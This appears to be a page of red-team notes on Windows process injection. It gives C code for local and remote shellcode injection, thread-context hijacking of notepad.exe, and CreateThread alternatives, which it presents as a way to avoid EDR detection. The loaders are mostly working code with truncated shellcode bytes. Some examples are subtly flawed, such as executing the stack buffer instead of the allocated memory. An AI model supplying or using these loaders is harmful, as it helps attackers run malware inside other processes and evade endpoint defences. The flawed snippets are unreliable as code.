Is a technique useful to escape from short-lived process or to change the working context.
Note: You can’t see the output of the payload injected on other process.
There are different techniques, the most common are payload injection and dll injection. The payload can be injected on a different process or in the current process.
Local Classic Technique (VirtualAlloc)
The behavior of a local classic injection:
VirtualAlloc
: Create a memory space to store our payload. Normally the buffer is created withPAGE_READWRITE
rights.RtlMoveMemory
: Copy the payload to the new allocated space.VirtualProtect
: Change the protection toPAGE_READEXECUTE
.CreateThread
: Execute the payload.
Example of local injection:
int main(int argc, char ** argv) {
LPVOID pexec;
HANDLE hThread;
BOOL rv;
DWORD oldprotect;
char payload[] = {0xfc, 0x48, 0x83,...};
pexec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(pexec, payload, sizeof(payload));
rv = VirtualProtect(pexec, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
if(rv){
hThread = CreateThread(0,0, (LPTHREAD_START_ROUTINE)pexec, 0,0,0);
WaitForSingleObject(hThread, -1);
}
CloseHandle(hThread);
return 0;
}
Remote Classic Technique (VirtualAllocEx)
The behavior of a remote classic injection:
VirtualAlllocEx
: Create a memory space to store our payload on a process. Normally the buffer is created withPAGE_READWRITE
rights.WriteProcessMemory
: Copy the payload to the new allocated space.VirtualProtectEx
: Change the protection toPAGE_READEXECUTE
.CreateRemoteThread
,RtlCreateUserThread
orNtCreateThreadEx
: Execute the payload.
Example of remote injection:
int main(void) {
int pid = 0;
HANDLE hProc = NULL;
LPVOID pexec = NULL;
HANDLE hThread = NULL;
DWORD oldprotect;
char payload[] = {0xfc, 0x48, 0x83,...};
int payload_len = sizeof(payload);
pid = FindProcess("notepad.exe");
if (pid) {
printf("Notepad.exe PID = %d\n", pid);
// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
pexec = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pexec, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
VirtualProtectEx(hProc, pexec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pexec, NULL, 0, NULL);
if(hThread != NULL){
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
}
CloseHandle(hProc);
}
}
return 0;
}
Check Object Enumeration - Process Enumeration section to get more info about FindProcess
:
Thread Context Injection
Instead of create a new thread on the target process we can get an existing one, suspend it, modify the EIP or RIP (next instruction pointer) specifying our payload and resume the thread.
Note: Since we are hijacking the thread, we will break the process. IT WILL CRASH THE PROCESS.
The behavior of a thread context injection:
OpenProcess
,OpenThread
: Obtain a thread handle from a remote process.VirtualAllocEx
: Allocate memory space for our payload withPAGE_READWRITE
rights.WriteProcessMemory
: Copy the payload to the new allocated space.VirtualProtectEx
: Change the rights toPAGE_EXECUTE_READ
of the new allocated space.SuspendThread
: Suspend the thread.GetThreadContext
: Get all the Context of the suspended thread.SetThreadContext
: Change the next instruction pointer (EIP or RIP) to our allocated memory space.ResumeThread
: Execute the payload.
Example of thread context injection.
int main(void) {
int pid = 0;
HANDLE hProc = NULL;
LPVOID pexec = NULL;
HANDLE hThread = NULL;
DWORD oldprotect;
char payload[] = {0xfc, 0x48, ...};
int payload_len = sizeof(payload);
CONTEXT ctx;
pid = FindProcess("notepad.exe");
if (pid) {
printf("Notepad.exe PID = %d\n", pid);
// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
hThread = FindThread(pid);
if(hThread != NULL){
pexec = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pexec, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
VirtualProtectEx(hProc, pexec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
ctx.ContextFlags = CONTEXT_FULL;
SuspendThread(hThread);
GetThreadContext(hThread, &ctx);
#ifdef _M_IX86
ctx.Eip = (DWORD_PTR) pexec;
#else
ctx.Rip = (DWORD_PTR) pexec;
#endif
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
}
CloseHandle(hThread);
}
CloseHandle(hProc);
}
return 0;
}
Check Object Enumeration-> Process Enumeration and Thread Enumeration sections to get more info about FindProcess
:
- https://benjugat.github.io/rtnotes/malware/object-enumeration/processes/
- https://benjugat.github.io/rtnotes/malware/object-enumeration/threads/
Alternatives to CreateThread
There are some alternatives for CreateThread
. Creating threads can be easily detected by an EDR, try something different.
Note: Since we are not creating a new Thread, when our payload finishes it will hang out the main program. Be careful if you are injecting on a remote process.
Direct Function Pointer
#include <Windows.h>
#include <stdio.h>
int main(int argc, char ** argv) {
LPVOID pexec;
HANDLE hThread;
BOOL rv;
DWORD oldprotect;
char payload[] = {0xfc, 0x48, 0x83,...};
pexec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(pexec, payload, sizeof(payload));
rv = VirtualProtect(pexec, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
if(rv){
void (*go)() =(void(*)()) payload; go();
}
CloseHandle(hThread);
return 0;
}
WinAPIs
There are other WinAPIs functions:
EnumThreadWindows(0, (WNDENUMPROC) shellcode, 0);
EnumChildWindows((HWND) NULL, (WNDENUMPROC) shellcode, NULL);